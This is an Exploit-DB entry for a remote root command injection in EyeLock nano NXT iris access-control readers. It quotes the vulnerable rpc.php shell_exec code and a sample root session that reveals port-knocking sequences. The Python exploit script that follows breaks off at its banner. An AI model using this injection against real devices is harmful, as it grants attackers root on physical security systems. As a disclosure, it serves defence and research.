Exploit-DB #40228
Description: EyeLock nano NXT 3.5 - Remote Code Execution
Type: webapps
Platform: php
Date: 2016-08-10
Author: LiquidWorm

Exploit:
#!/usr/bin/env python
#
#
# EyeLock nano NXT 3.5 Remote Root Exploit
#
#
# Vendor: EyeLock, LLC
# Product web page: http://www.eyelock.com
# Affected version: NXT Firmware: 3.05.1193 (ICM: 3.5.1)
#                   NXT Firmware: 3.04.1108 (ICM: 3.4.13)
#                   NXT Firmware: 3.03.944  (ICM: 3.3.2)
#                   NXT Firmware: 3.01.646  (ICM: 3.1.13)
#
# Platform: Hardware (Biometric Iris Reader (master))
#
# EyeLock is an advanced iris authentication and recognition solutions company
# focused on developing next-generation systems for global access control and identity
# management.
#
# Summary: nano NXT® - the next generation of EyeLock’s revolutionary access
# control solutions. nano NXT renders all other access control peripherals
# obsolete by revolutionizing how identities are protected, authenticated,
# and managed. With a sleek low profile and powerful capabilities, the nano
# NXT redefines the future of access control. An optional SDK is available
# to customers who want to customize their security solutions to integrate
# seamlessly with existing applications. The nano NXT authenticates up to 20
# people per minute, in-motion and at-a-distance with unparalleled accuracy.
# nano NXT can be used in a variety of environments including commercial/enterprise,
# corrections, data centers, education, financial services, government, healthcare
# facilities and hospitality.
#
# Nano NXT is the most advanced compact iris-based identity authentication device
# in Eyelock's comprehensive suite of end-to-end identity authentication solutions.
# Nano NXT is a miniaturized iris-based recognition system capable of providing
# real-time identification, both in-motion and at a distance. The Nano NXT is an
# ideal replacement for card-based systems, and seamlessly controls access to turnstiles,
# secured entrances, server rooms and any other physical space. Similarly the device
# is powerful and compact enough to secure high-value transactions, critical databases,
# network workstations or any other information system.
#
# Desc: EyeLock's nano NXT firmware latest version 3.5 (released 25.07.2016) suffers
# from multiple unauthenticated command injection vulnerabilities. The issue lies
# within the 'rpc.php' script located in the '/scripts' directory and can be triggered
# when user supplied input is not correctly sanitized while updating the local time for
# the device and/or get info from remote time server. The vulnerable script has two REQUEST
# parameters 'timeserver' and 'localtime' that are called within a shell_exec() function
# for setting the local time and the hardware clock of the device. An attacker can exploit
# these conditions gaining full system (root) access and execute OS commands on the affected
# device by injecting special characters to the affected parameters and further bypass
# the access control in place.
#
# Hint: Plenty other RCE bugs are present in the rpc.php and others (like: uploadCertificate.php,
# upgrade.php, WebConfig.php, firmwareupdate.php, interfaceeditor.php, etc.)
#
# =============================================================================
# /scripts/rpc.php:
# -----------------
# 9:  if (isset($_REQUEST['action']))
# 10: {
# 11:    switch($_REQUEST['action'])
# ...
# ...
# 181:        case 'updatetime':
# 182:        {
# 183:            // do something, the put our response in the response field...
# 184:            $strDate = shell_exec("rdate -s {$_REQUEST['timeserver']} 2>&1");
# 185:
# 186:            // set the hardware clock.
# 187:            $strResult = shell_exec("/sbin/hwclock -w"); // Does no harm to call this even on failure...
# 188:
# 189:            $strtheDate = shell_exec("date 2>&1");
# 190:
# 191:            echo "updatetime|{$strDate}|{$strtheDate}";
# 192:
# 193:            break;
# 194:        }
# 195:
# 196:        case 'updatelocaltime':
# 197:        {
# 198:            // do something, the put our response in the response field...
# 199:            $strDate = shell_exec("date -s '{$_REQUEST['localtime']}' 2>&1");
# 200:
# 201:            // set the hardware clock
# 202:            $strResult = shell_exec("/sbin/hwclock -w"); // Does no harm to call this even on failure...
# 203:
# 204:            $strtheDate = shell_exec("date 2>&1");
# 205:
# 206:            echo "updatelocaltime|{$strDate}|{$strtheDate}";
# 207:
# 208:            break;
# 209:        }
# =============================================================================
#
# -----------------------------------------------------------------------------
# Master: 192.168.40.1
# Slave:  192.168.40.2
#
# $ eyelock.py 192.168.40.1
#
# root@192.168.40.1:~# id
# uid=0(root) gid=0(root)
#
# root@192.168.40.1:~# cat /home/root/knockd.conf
# [options]
#	logfile = /var/log/knockd.log
#
# [openSSH]
#	sequence    = 1973,1975,2013
#	seq_timeout = 15
#	command     = /usr/sbin/iptables -D INPUT -p tcp --dport 22 -j DROP
#	tcpflags    = syn
#
# [closeSSH]
#	sequence    = 91,85,70
#	seq_timeout = 5
#	command     = /usr/sbin/iptables -A INPUT -p tcp --dport 22 -j DROP
#	tcpflags    = syn
#
#
# root@192.168.40.1:~# exit
#
# $
# -----------------------------------------------------------------------------
#
#
# Tested on: GNU/Linux (armv7l)
#            lighttpd/1.4.35
#            SQLite/3.8.7.2
#            PHP/5.6.6
#
#
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
#                             @zeroscience
#
#
# Advisory ID: ZSL-2016-5357
# Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2016-5357.php
#
#
# 10.06.2016
#

import re,sys,os
import requests

piton = os.path.basename(sys.argv[0])

print '''
---------------------------------------------------------
EyeLock nano NXT <=3.5 [Open Sesame] Remote Root Exploit

         Zero Science Lab - http://zeroscience.mk
                      ZSL